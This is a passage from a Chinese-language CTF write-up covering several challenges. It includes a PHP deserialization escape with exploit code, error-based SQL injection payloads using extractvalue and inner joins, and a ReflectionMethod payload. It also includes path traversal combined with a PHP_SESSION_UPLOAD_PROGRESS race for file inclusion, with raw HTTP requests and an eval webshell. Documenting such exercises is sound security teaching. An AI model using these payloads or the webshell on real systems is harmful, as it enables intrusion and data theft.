:[0-9]+:.*[;}]\$/s" , $data ) ) return true ; break ; case 'b' : case 'i' : case 'd' : if (preg_match ("/^{$badions[1]} :[0-9.E-]+;\$/" , $data )) return true ; break ; } return false ; } $log = $_GET ['log' ];if (!is_serialized ($log )){ die ('no1' ); } $log1 = preg_replace ("/A/" ,"C" ,$log );$log2 = preg_replace ("/B/" ,"D" ,$log1 );if (!unserialize ($log2 )){ die ('no2' ); } $log = preg_replace ("/[<>*#'|?\n ]/" ,"" ,$log );$log = str_replace ('flag' ,'' ,$log );$log_unser = unserialize ($log );?>
这道题应该是经过了三重过滤: 首先通过自定义过滤函数is_serialized
检测传入的字符串是否为正确的序列化字符串。 接着会将字符串中的A类名和B类名替换为C和D作为检测该序列化字符串是否能正常进行反序列化。 最后将一些字符和字符串flag替换为空,然后进行反序列化。 终于明白了(wp出来了) 构造反序列化逃逸,首先要了解一点序列化字符串的反序列化过程 先给出exp和payload:
{ .theme-legacy } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class A { public $file ='flagflagflagflagflagflag<' ; public $weblogfile =';s:10:"weblogfile";s:<8:"flflagag.php";}' ; } $a =new A; $a =serialize ($a ); echo $a .'<br>' ; $b = preg_replace ("/[<>*#'|?\n ]/" ,"" ,$a ); $b = str_replace ('flag' ,'' ,$b ); echo $b ; ?> 得到payload: O:1 :"A" :2 :{s:4 :"file" ;s:25 :"flagflagflagflagflagflag<" ;s:10 :"weblogfile" ;s:40 :";s:10:" weblogfile";s:<8:" flflagag.php";}" ;} O:1 :"A" :2 :{s:4 :"file" ;s:25 :"" ;s:10 :"weblogfile" ;s:40 :";s:10:" weblogfile";s:8:" flag.php";}" ;}
上面一条是payload,下面一条是按题目中过滤后得到的,两条字符串都是可以正常进行反序列化的 从O
开始,1
,表示有一个类,也就是A
,这个类里有两个属性,读到一个属性长度为4,也就是file
,它的值为长度是25的字符串,于是从冒号开始找25个字符串作为file
的值,接着通过"
闭合,同理,第二个属性weblogfile
的值为长度是40的字符串,最后冒号闭合掉这个长度为40的字符串,最后找到}
闭合掉这个序列化字符串。
接着看到第二个被过滤后的字符串,按照上面讲的规则,仍然是可以正常闭合的,因为为第二个属性找到长度为8的字符串并闭合后,接着找到}
作为序列化字符串的闭合后,最终后面多余的部分";}
就作废了,并不会抛出报错。 payload中的<
和flag
都是作为凑长度或者绕过而加上的。:<8:
是用于绕过
{ .theme-legacy } 1 if (preg_match ( "/^{$badions[1]} :[0-9]+:.*[;}]\$/s" , $data ) )
构造反序列化逃逸时必须保证经过过滤后的最终的序列化字符串仍然符合反序列化的规则。一但闭合出错就会导致抛出错误从而无法正确反序列化。
misc 签到 NTQ1NjcwNTg1MjMwNGU2MTRkN2E0ZTUwNTQ2YzU2NTg1NDdhNGU1NDRlMzAzNTQ3NTc0NTU5MzI0ZTQ2NTI0YjU0NTQ1NjU2NTM0NTZiMzM1MzU0MzAzZA==
base64特征 base64后 5456705852304e614d7a4e50546c5658547a4e544e303547574559324e46524b5454565653456b335354303d
16进制特征 16进制转字符串后 TVpXR0NaMzNPTlVXTzNTN05GWEY2NFRKTTVVSEk3ST0=
base32和base64特征 base64之后 MZWGCZ33ONUWO3S7NFXF64TJM5UHI7I=
base32和base64特征 base32之后 flag{sign_in_right}
国赛 一卷 easy_sql 注入,输入1'#
,发现报错信息是后面有')
,是单引号和括号闭合,然后查看字段数,查出是2,但联合注入查询的时候发现union
被过滤了,接着用报错注入,用户名填:1')and extractvalue(1,('~',database()))#
,密码部分一直不填,查到数据库是security
,但进一步想查表名的时候却发现information又被过滤了 只好使用内连接查询,得先试出个表名,一般来说这种有登录界面的都有个叫users
的表,于是尝试1')and extractvalue(1,concat('~',(select group_concat(a) from users)))#
报错Unknown column 'a' in 'field list'
那么它真的就有这个表,那users表的标配字段名就是id,果然查到了,于是内连接查询:1')and extractvalue(1,concat('~',(select * from(select * from users a inner join (select * from users)b using(id))c)))#
查到有username
,再如法炮制,1')and extractvalue(1,concat('~',(select * from(select * from users a inner join (select * from users)b using(id,username))c)))#
,得到还有password
,再查询这些字段内的东西,结果都不是flag 于是合理猜测有一个叫flag的表,一查还真就有 那…通过对比两个表,看看有没有相同字段,1')and extractvalue(1,concat('~',(select * from(select * from users a inner join (select * from flag)b using(id,username))c)))#
结果报错结果是,username
这个字段名不在表里面,同样换成password
字段名也不在表里,那就意味着id
这个字段名在表里 如法炮制:1')and extractvalue(1,concat('~',(select * from(select * from flag a inner join (select * from flag)b using(id))c)))#
结果得到还有一个字段是no,还有一个字段可用,继续看看还有什么1')and extractvalue(1,concat('~',(select * from(select * from flag a inner join (select * from flag)b using(id,no))c)))#
出现了一个长串的字符,Duplicate column name '0b6bfa70-a819-4996-9992-fcb5302b8b26'
,交了两次,发现这玩意儿并不是flag 于是查一查这个字段有什么,1')and extractvalue(1,concat('~',(select group_concat(0b6bfa70-a819-4996-9992-fcb5302b8b26)from flag)))#
,Unknown column '0b6bfa70' in 'field list'
,字段名里有减号不行啊,回想之前做过一道纯数字的字段也不行,当时是加上了`
,于是字段名加上`
,1')and extractvalue(1,concat('~',(select group_concat(`0b6bfa70-a819-4996-9992-fcb5302b8b26`)from flag)))#
出了
easy_source hint很明显说明是源码泄露,www.zip
没有,.git
没有,.swp
还没有。 于是找到笔记:用vim编辑器编写文件时,会有一个添加后缀为.swp的文件,如果正常退出的话,该文件会被删除,而异常退出,该文件会被保留用以恢复该文件,多次异常退出不会覆盖,而是会生成新的,如.swo
为后缀的文件。 swp没有就试试.swo
,试试.index.php.swo
,有了,但这内容啥也没有,既然还有看不到的,哪应该就是注释了,再分析以下代码:
1 2 3 4 5 6 $rc =$_GET ["rc" ];$rb =$_GET ["rb" ];$ra =$_GET ["ra" ];$rd =$_GET ["rd" ];$method = new $rc ($ra , $rb );var_dump ($method ->$rd ());
new ReflectionMethod($class, $method)
:反射回类和此方法,再加上获取注释,那就是:ReflectionClass::getDocComment
,那么payload:?rc=ReflectionMethod&rb=a&ra=User&rd=getDocComment
,对rb
的值进行爆破,把每一个类都试一下,看看返回长度,得到flag在方法q
里的注释。 出题人偷懒石锤->原题
二卷 midlle_source 这是一道文件包含题,但又在我传入的cf前面加上了文件名,那么就需要目录穿越,首先field用不上,接着试试:cf=/../../../../../../etc/passwd
,有回显了,说明通过了file_exists
函数的判段,那么我就可以读已知目录下的已知文件了,开搞,我就可以上传个文件,然后去文件包含,这里我利用到了PHP_SESSION_UPLOAD_PROGRESS
,原因很简单,关于这个的信息我都知道了,因为经过尝试我发现了一个“.listing
”,访问后,里面告诉我目录下有一个you_can_seeeeeeee_me.php
,访问它,居然是phpinfo
,于是我发现关于session
的一切信息都在指向PHP_SESSION_UPLOAD_PROGRESS
,同时还拿到了session.save_path: /var/lib/php/sessions/eejeebihfj
,这就可以直接文件包含了,因为传上去的文件名字叫session_(PHPsession值)
:于是我开始构造上传文件信息,当然上传的文件是什么不重要,并且disable_function
里面没有var_dump
和scanfir
,那就可以随便读目录了:
1 2 3 4 5 6 7 8 9 10 <!DOCTYPE html > <html > <body > <form action ="http://123.60.215.249:26275/" method ="POST" enctype ="multipart/form-data" > <input type ="hidden" name ="PHP_SESSION_UPLOAD_PROGRESS" value ="123" /> <input type ="file" name ="file" /> <input type ="submit" value ="submit" /> </form > </body > </html >
抓包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 POST / HTTP/1.1 Host: 目标url User-Agent: Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------817151834966202188529467789 Content-Length: 406 Origin: 本地 Connection: close Referer: 本地 Cookie: PHPSESSID=muhua Upgrade-Insecure-Requests: 1 -----------------------------817151834966202188529467789 Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS" §1§<?php var_dump(scandir("/etc/"));echo "<br>";?> -----------------------------817151834966202188529467789 Content-Disposition: form-data; name="file"; filename="1.php" Content-Type: application/octet-stream <?php @eval($_POST['a']);?> -----------------------------817151834966202188529467789--
同时也构造了:
1 2 3 4 5 6 7 8 9 10 11 12 13 POST / HTTP/1.1 Host: 目标url User-Agent: Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 44 Origin: 目标url Connection: close Referer: 目标url Upgrade-Insecure-Requests: 1 cf=/../../../../../../var/lib/php/sessions/eejeebihfj/sess_muhua&a=§1§
然后同时爆破,因为phpinfo还写了session.upload_progress.cleanup On
,传上去的东西会被删除,竞争上传,一边上传一边读取,于是跑出/etc/
下一大堆文件夹,结合题目描述,奇怪的文件夹,既然是奇怪的,那就是毫无逻辑的名字,于是尝试读/etc/hccejfdhhc
,发现下面果然又有一个奇怪的文件夹,如此重复几次,终于读到fl444444g
,然后就无法再读了,结合题目描述,这就是flag文件了,想读取也很简单,既然题目可以用highlight_file()
,那就没被禁,于是写好直接跑,读出! 感谢大佬们的文章